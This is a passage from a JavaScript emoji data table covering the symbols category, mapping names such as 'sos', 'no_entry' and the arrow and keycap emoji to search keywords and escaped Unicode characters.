    keywords: [ "orange-square", "phone" ],
    char: "\ud83d\udcf3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6709: {
    keywords: [ "orange-square", "chinese", "have", "kanji" ],
    char: "\ud83c\ude36",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7121: {
    keywords: [ "nothing", "chinese", "kanji", "japanese", "orange-square" ],
    char: "\ud83c\ude1a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7533: {
    keywords: [ "chinese", "japanese", "kanji", "orange-square" ],
    char: "\ud83c\ude38",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u55b6: {
    keywords: [ "japanese", "opening hours", "orange-square" ],
    char: "\ud83c\ude3a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6708: {
    keywords: [ "chinese", "month", "moon", "japanese", "orange-square", "kanji" ],
    char: "\ud83c\ude37\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eight_pointed_black_star: {
    keywords: [ "orange-square", "shape", "polygon" ],
    char: "\u2734\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  vs: {
    keywords: [ "words", "orange-square" ],
    char: "\ud83c\udd9a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  accept: {
    keywords: [ "ok", "good", "chinese", "kanji", "agree", "yes", "orange-circle" ],
    char: "\ud83c\ude51",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_flower: {
    keywords: [ "japanese", "spring" ],
    char: "\ud83d\udcae",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ideograph_advantage: {
    keywords: [ "chinese", "kanji", "obtain", "get", "circle" ],
    char: "\ud83c\ude50",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  secret: {
    keywords: [ "privacy", "chinese", "sshh", "kanji", "red-circle" ],
    char: "\u3299\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  congratulations: {
    keywords: [ "chinese", "kanji", "japanese", "red-circle" ],
    char: "\u3297\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u5408: {
    keywords: [ "japanese", "chinese", "join", "kanji", "red-square" ],
    char: "\ud83c\ude34",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6e80: {
    keywords: [ "full", "chinese", "japanese", "red-square", "kanji" ],
    char: "\ud83c\ude35",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7981: {
    keywords: [ "kanji", "japanese", "chinese", "forbidden", "limit", "restricted", "red-square" ],
    char: "\ud83c\ude32",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  a: {
    keywords: [ "red-square", "alphabet", "letter" ],
    char: "\ud83c\udd70\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  b: {
    keywords: [ "red-square", "alphabet", "letter" ],
    char: "\ud83c\udd71\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ab: {
    keywords: [ "red-square", "alphabet" ],
    char: "\ud83c\udd8e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cl: {
    keywords: [ "alphabet", "words", "red-square" ],
    char: "\ud83c\udd91",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  o2: {
    keywords: [ "alphabet", "red-square", "letter" ],
    char: "\ud83c\udd7e\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sos: {
    keywords: [ "help", "red-square", "words", "emergency", "911" ],
    char: "\ud83c\udd98",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_entry: {
    keywords: [ "limit", "security", "privacy", "bad", "denied", "stop", "circle" ],
    char: "\u26d4",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  name_badge: {
    keywords: [ "fire", "forbid" ],
    char: "\ud83d\udcdb",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_entry_sign: {
    keywords: [ "forbid", "stop", "limit", "denied", "disallow", "circle" ],
    char: "\ud83d\udeab",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  x: {
    keywords: [ "no", "delete", "remove", "cancel", "red" ],
    char: "\u274c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  o: {
    keywords: [ "circle", "round" ],
    char: "\u2b55",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  stop_sign: {
    keywords: [ "stop" ],
    char: "\ud83d\uded1",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  anger: {
    keywords: [ "angry", "mad" ],
    char: "\ud83d\udca2",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  hotsprings: {
    keywords: [ "bath", "warm", "relax" ],
    char: "\u2668\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_pedestrians: {
    keywords: [ "rules", "crossing", "walking", "circle" ],
    char: "\ud83d\udeb7",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  do_not_litter: {
    keywords: [ "trash", "bin", "garbage", "circle" ],
    char: "\ud83d\udeaf",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_bicycles: {
    keywords: [ "cyclist", "prohibited", "circle" ],
    char: "\ud83d\udeb3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  "non-potable_water": {
    keywords: [ "drink", "faucet", "tap", "circle" ],
    char: "\ud83d\udeb1",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  underage: {
    keywords: [ "18", "drink", "pub", "night", "minor", "circle" ],
    char: "\ud83d\udd1e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_mobile_phones: {
    keywords: [ "iphone", "mute", "circle" ],
    char: "\ud83d\udcf5",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  exclamation: {
    keywords: [ "heavy_exclamation_mark", "danger", "surprise", "punctuation", "wow", "warning" ],
    char: "\u2757",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  grey_exclamation: {
    keywords: [ "surprise", "punctuation", "gray", "wow", "warning" ],
    char: "\u2755",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  question: {
    keywords: [ "doubt", "confused" ],
    char: "\u2753",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  grey_question: {
    keywords: [ "doubts", "gray", "huh", "confused" ],
    char: "\u2754",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  bangbang: {
    keywords: [ "exclamation", "surprise" ],
    char: "\u203c\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  interrobang: {
    keywords: [ "wat", "punctuation", "surprise" ],
    char: "\u2049\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  100: {
    keywords: [ "score", "perfect", "numbers", "century", "exam", "quiz", "test", "pass", "hundred" ],
    char: "\ud83d\udcaf",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  low_brightness: {
    keywords: [ "sun", "afternoon", "warm", "summer" ],
    char: "\ud83d\udd05",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  high_brightness: {
    keywords: [ "sun", "light" ],
    char: "\ud83d\udd06",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  trident: {
    keywords: [ "weapon", "spear" ],
    char: "\ud83d\udd31",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  fleur_de_lis: {
    keywords: [ "decorative", "scout" ],
    char: "\u269c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  part_alternation_mark: {
    keywords: [ "graph", "presentation", "stats", "business", "economics", "bad" ],
    char: "\u303d\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  warning: {
    keywords: [ "exclamation", "wip", "alert", "error", "problem", "issue" ],
    char: "\u26a0\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  children_crossing: {
    keywords: [ "school", "warning", "danger", "sign", "driving", "yellow-diamond" ],
    char: "\ud83d\udeb8",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  beginner: {
    keywords: [ "badge", "shield" ],
    char: "\ud83d\udd30",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  recycle: {
    keywords: [ "arrow", "environment", "garbage", "trash" ],
    char: "\u267b\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6307: {
    keywords: [ "chinese", "point", "green-square", "kanji" ],
    char: "\ud83c\ude2f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  chart: {
    keywords: [ "green-square", "graph", "presentation", "stats" ],
    char: "\ud83d\udcb9",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sparkle: {
    keywords: [ "stars", "green-square", "awesome", "good", "fireworks" ],
    char: "\u2747\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eight_spoked_asterisk: {
    keywords: [ "star", "sparkle", "green-square" ],
    char: "\u2733\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  negative_squared_cross_mark: {
    keywords: [ "x", "green-square", "no", "deny" ],
    char: "\u274e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_check_mark: {
    keywords: [ "green-square", "ok", "agree", "vote", "election", "answer", "tick" ],
    char: "\u2705",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  diamond_shape_with_a_dot_inside: {
    keywords: [ "jewel", "blue", "gem", "crystal", "fancy" ],
    char: "\ud83d\udca0",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cyclone: {
    keywords: [ "weather", "swirl", "blue", "cloud", "vortex", "spiral", "whirlpool", "spin", "tornado", "hurricane", "typhoon" ],
    char: "\ud83c\udf00",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  loop: {
    keywords: [ "tape", "cassette" ],
    char: "\u27bf",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  globe_with_meridians: {
    keywords: [ "earth", "international", "world", "internet", "interweb", "i18n" ],
    char: "\ud83c\udf10",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  m: {
    keywords: [ "alphabet", "blue-circle", "letter" ],
    char: "\u24c2\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  atm: {
    keywords: [ "money", "sales", "cash", "blue-square", "payment", "bank" ],
    char: "\ud83c\udfe7",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sa: {
    keywords: [ "japanese", "blue-square", "katakana" ],
    char: "\ud83c\ude02\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  passport_control: {
    keywords: [ "custom", "blue-square" ],
    char: "\ud83d\udec2",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  customs: {
    keywords: [ "passport", "border", "blue-square" ],
    char: "\ud83d\udec3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  baggage_claim: {
    keywords: [ "blue-square", "airport", "transport" ],
    char: "\ud83d\udec4",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  left_luggage: {
    keywords: [ "blue-square", "travel" ],
    char: "\ud83d\udec5",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wheelchair: {
    keywords: [ "blue-square", "disabled", "a11y", "accessibility" ],
    char: "\u267f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_smoking: {
    keywords: [ "cigarette", "blue-square", "smell", "smoke" ],
    char: "\ud83d\udead",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wc: {
    keywords: [ "toilet", "restroom", "blue-square" ],
    char: "\ud83d\udebe",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  parking: {
    keywords: [ "cars", "blue-square", "alphabet", "letter" ],
    char: "\ud83c\udd7f\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  potable_water: {
    keywords: [ "blue-square", "liquid", "restroom", "cleaning", "faucet" ],
    char: "\ud83d\udeb0",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mens: {
    keywords: [ "toilet", "restroom", "wc", "blue-square", "gender", "male" ],
    char: "\ud83d\udeb9",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  womens: {
    keywords: [ "purple-square", "woman", "female", "toilet", "loo", "restroom", "gender" ],
    char: "\ud83d\udeba",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  baby_symbol: {
    keywords: [ "orange-square", "child" ],
    char: "\ud83d\udebc",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  restroom: {
    keywords: [ "blue-square", "toilet", "refresh", "wc", "gender" ],
    char: "\ud83d\udebb",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  put_litter_in_its_place: {
    keywords: [ "blue-square", "sign", "human", "info" ],
    char: "\ud83d\udeae",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cinema: {
    keywords: [ "blue-square", "record", "film", "movie", "curtain", "stage", "theater" ],
    char: "\ud83c\udfa6",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  signal_strength: {
    keywords: [ "blue-square", "reception", "phone", "internet", "connection", "wifi", "bluetooth", "bars" ],
    char: "\ud83d\udcf6",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  koko: {
    keywords: [ "blue-square", "here", "katakana", "japanese", "destination" ],
    char: "\ud83c\ude01",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ng: {
    keywords: [ "blue-square", "words", "shape", "icon" ],
    char: "\ud83c\udd96",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ok: {
    keywords: [ "good", "agree", "yes", "blue-square" ],
    char: "\ud83c\udd97",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  up: {
    keywords: [ "blue-square", "above", "high" ],
    char: "\ud83c\udd99",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cool: {
    keywords: [ "words", "blue-square" ],
    char: "\ud83c\udd92",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  new: {
    keywords: [ "blue-square", "words", "start" ],
    char: "\ud83c\udd95",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  free: {
    keywords: [ "blue-square", "words" ],
    char: "\ud83c\udd93",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  zero: {
    keywords: [ "0", "numbers", "blue-square", "null" ],
    char: "0\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  one: {
    keywords: [ "blue-square", "numbers", "1" ],
    char: "1\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  two: {
    keywords: [ "numbers", "2", "prime", "blue-square" ],
    char: "2\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  three: {
    keywords: [ "3", "numbers", "prime", "blue-square" ],
    char: "3\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  four: {
    keywords: [ "4", "numbers", "blue-square" ],
    char: "4\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  five: {
    keywords: [ "5", "numbers", "blue-square", "prime" ],
    char: "5\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  six: {
    keywords: [ "6", "numbers", "blue-square" ],
    char: "6\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  seven: {
    keywords: [ "7", "numbers", "blue-square", "prime" ],
    char: "7\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eight: {
    keywords: [ "8", "blue-square", "numbers" ],
    char: "8\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  nine: {
    keywords: [ "blue-square", "numbers", "9" ],
    char: "9\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  keycap_ten: {
    keywords: [ "numbers", "10", "blue-square" ],
    char: "\ud83d\udd1f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  asterisk: {
    keywords: [ "star", "keycap" ],
    char: "*\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  1234: {
    keywords: [ "numbers", "blue-square" ],
    char: "\ud83d\udd22",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eject_button: {
    keywords: [ "blue-square" ],
    char: "\u23cf\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_forward: {
    keywords: [ "blue-square", "right", "direction", "play" ],
    char: "\u25b6\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  pause_button: {
    keywords: [ "pause", "blue-square" ],
    char: "\u23f8",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  next_track_button: {
    keywords: [ "forward", "next", "blue-square" ],
    char: "\u23ed",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  stop_button: {
    keywords: [ "blue-square" ],
    char: "\u23f9",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  record_button: {
    keywords: [ "blue-square" ],
    char: "\u23fa",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  play_or_pause_button: {
    keywords: [ "blue-square", "play", "pause" ],
    char: "\u23ef",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  previous_track_button: {
    keywords: [ "backward" ],
    char: "\u23ee",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  fast_forward: {
    keywords: [ "blue-square", "play", "speed", "continue" ],
    char: "\u23e9",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  rewind: {
    keywords: [ "play", "blue-square" ],
    char: "\u23ea",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  twisted_rightwards_arrows: {
    keywords: [ "blue-square", "shuffle", "music", "random" ],
    char: "\ud83d\udd00",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  repeat: {
    keywords: [ "loop", "record" ],
    char: "\ud83d\udd01",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  repeat_one: {
    keywords: [ "blue-square", "loop" ],
    char: "\ud83d\udd02",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_backward: {
    keywords: [ "blue-square", "left", "direction" ],
    char: "\u25c0\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_up_small: {
    keywords: [ "blue-square", "triangle", "direction", "point", "forward", "top" ],
    char: "\ud83d\udd3c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_down_small: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: "\ud83d\udd3d",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_double_up: {
    keywords: [ "blue-square", "direction", "top" ],
    char: "\u23eb",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_double_down: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: "\u23ec",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_right: {
    keywords: [ "blue-square", "next" ],
    char: "\u27a1\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_left: {
    keywords: [ "blue-square", "previous", "back" ],
    char: "\u2b05\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_up: {
    keywords: [ "blue-square", "continue", "top", "direction" ],
    char: "\u2b06\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_down: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: "\u2b07\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_upper_right: {
    keywords: [ "blue-square", "point", "direction", "diagonal", "northeast" ],
    char: "\u2197\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_lower_right: {
    keywords: [ "blue-square", "direction", "diagonal", "southeast" ],
    char: "\u2198\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_lower_left: {
    keywords: [ "blue-square", "direction", "diagonal", "southwest" ],
    char: "\u2199\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_upper_left: {
    keywords: [ "blue-square", "point", "direction", "diagonal", "northwest" ],
    char: "\u2196\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_up_down: {
    keywords: [ "blue-square", "direction", "way", "vertical" ],
    char: "\u2195\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  left_right_arrow: {
    keywords: [ "shape", "direction", "horizontal", "sideways" ],
    char: "\u2194\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrows_counterclockwise: {
    keywords: [ "blue-square", "sync", "cycle" ],
    char: "\ud83d\udd04",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_right_hook: {
    keywords: [ "blue-square", "return", "rotate", "direction" ],
    char: "\u21aa\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  leftwards_arrow_with_hook: {
    keywords: [ "back", "return", "blue-square", "undo", "enter" ],
    char: "\u21a9\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_heading_up: {
    keywords: [ "blue-square", "direction", "top" ],
    char: "\u2934\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_heading_down: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: "\u2935\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  hash: {
    keywords: [ "symbol", "blue-square", "twitter" ],
    char: "#\ufe0f\u20e3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  information_source: {
    keywords: [ "blue-square", "alphabet", "letter" ],
    char: "\u2139\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  abc: {
    keywords: [ "blue-square", "alphabet" ],
    char: "\ud83d\udd24",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  abcd: {
    keywords: [ "blue-square", "alphabet" ],
    char: "\ud83d\udd21",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  capital_abcd: {
    keywords: [ "alphabet", "words", "blue-square" ],
    char: "\ud83d\udd20",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  symbols: {
    keywords: [ "blue-square", "music", "note", "ampersand", "percent", "glyphs", "characters" ],
    char: "\ud83d\udd23",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  musical_note: {
    keywords: [ "score", "tone", "sound" ],
    char: "\ud83c\udfb5",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  notes: {
    keywords: [ "music", "score" ],
    char: "\ud83c\udfb6",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wavy_dash: {
    keywords: [ "draw", "line", "moustache", "mustache", "squiggle", "scribble" ],
    char: "\u3030\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  curly_loop: {
    keywords: [ "scribble", "draw", "shape", "squiggle" ],
    char: "\u27b0",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_check_mark: {
    keywords: [ "ok", "nike", "answer", "yes", "tick" ],
    char: "\u2714\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrows_clockwise: {
    keywords: [ "sync", "cycle", "round", "repeat" ],
    char: "\ud83d\udd03",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_plus_sign: {
    keywords: [ "math", "calculation", "addition", "more", "increase" ],
    char: "\u2795",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_minus_sign: {
    keywords: [ "math", "calculation", "subtract", "less" ],
    char: "\u2796",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_division_sign: {
    keywords: [ "divide", "math", "calculation" ],
    char: "\u2797",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_multiplication_x: {
    keywords: [ "math", "calculation" ],
    char: "\u2716\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  infinity: {
    keywords: [ "forever" ],
    char: "\u267e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_dollar_sign: {
    keywords: [ "money", "sales", "payment", "currency", "buck" ],
    char: "\ud83d\udcb2",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  currency_exchange: {
    keywords: [ "money", "sales", "dollar", "travel" ],
    char: "\ud83d\udcb1",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  copyright: {
    keywords: [ "ip", "license", "circle", "law", "legal" ],
    char: "\xa9\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  registered: {
    keywords: [ "alphabet", "circle" ],
    char: "\xae\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  tm: {
    keywords: [ "trademark", "brand", "law", "legal" ],
    char: "\u2122\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  end: {
    keywords: [ "words", "arrow" ],
    char: "\ud83d\udd1a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  back: {
    keywords: [ "arrow", "words", "return" ],
    char: "\ud83d\udd19",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  on: {
    keywords: [ "arrow", "words" ],
    char: "\ud83d\udd1b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  top: {
    keywords: [ "words", "blue-square" ],
    char: "\ud83d\udd1d",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  soon: {
    keywords: [ "arrow", "words" ],
    char: "\ud83d\udd1c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ballot_box_with_check: {
    keywords: [ "ok", "agree", "confirm", "black-square", "vote", "election", "yes", "tick" ],
    char: "\u2611\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  radio_button: {
    keywords: [ "input", "old", "music", "circle" ],
    char: "\ud83d\udd18",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_circle: {
    keywords: [ "shape", "round" ],
    char: "\u26aa",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_circle: {
    keywords: [ "shape", "button", "round" ],
    char: "\u26ab",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  red_circle: {
    keywords: [ "shape", "error", "danger" ],
    char: "\ud83d\udd34",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  large_blue_circle: {
    keywords: [ "shape", "icon", "button" ],
    char: "\ud83d\udd35",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_orange_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: "\ud83d\udd38",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_blue_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: "\ud83d\udd39",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  large_orange_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: "\ud83d\udd36",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  large_blue_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: "\ud83d\udd37",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_red_triangle: {
    keywords: [ "shape", "direction", "up", "top" ],
    char: "\ud83d\udd3a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_small_square: {
    keywords: [ "shape", "icon" ],
    char: "\u25aa\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_small_square: {
    keywords: [ "shape", "icon" ],
    char: "\u25ab\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_large_square: {
    keywords: [ "shape", "icon", "button" ],
    char: "\u2b1b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_large_square: {
    keywords: [ "shape", "icon", "stone", "button" ],
    char: "\u2b1c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_red_triangle_down: {
    keywords: [ "shape", "direction", "bottom" ],
    char: "\ud83d\udd3b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_medium_square: {
    keywords: [ "shape", "button", "icon" ],
    char: "\u25fc\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_medium_square: {
    keywords: [ "shape", "stone", "icon" ],
    char: "\u25fb\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_medium_small_square: {
    keywords: [ "icon", "shape", "button" ],
    char: "\u25fe",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_medium_small_square: {
    keywords: [ "shape", "stone", "icon", "button" ],
    char: "\u25fd",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_square_button: {
    keywords: [ "shape", "input", "frame" ],
    char: "\ud83d\udd32",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_square_button: {
    keywords: [ "shape", "input" ],
    char: "\ud83d\udd33",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  speaker: {
    keywords: [ "sound", "volume", "silence", "broadcast" ],
    char: "\ud83d\udd08",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sound: {
    keywords: [ "volume", "speaker", "broadcast" ],
    char: "\ud83d\udd09",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  loud_sound: {
    keywords: [ "volume", "noise", "noisy", "speaker", "broadcast" ],
    char: "\ud83d\udd0a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mute: {
    keywords: [ "sound", "volume", "silence", "quiet" ],
    char: "\ud83d\udd07",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mega: {
    keywords: [ "sound", "speaker", "volume" ],
    char: "\ud83d\udce3",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  loudspeaker: {
    keywords: [ "volume", "sound" ],
    char: "\ud83d\udce2",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  bell: {
    keywords: [ "sound", "notification", "christmas", "xmas", "chime" ],
    char: "\ud83d\udd14",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_bell: {
    keywords: [ "sound", "volume", "mute", "quiet", "silent" ],
    char: "\ud83d\udd15",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_joker: {
    keywords: [ "poker", "cards", "game", "play", "magic" ],
    char: "\ud83c\udccf",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mahjong: {
    keywords: [ "game", "play", "chinese", "kanji" ],
    char: "\ud83c\udc04",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  spades: {
    keywords: [ "poker", "cards", "suits", "magic" ],
    char: "\u2660\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clubs: {
    keywords: [ "poker", "cards", "magic", "suits" ],
    char: "\u2663\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
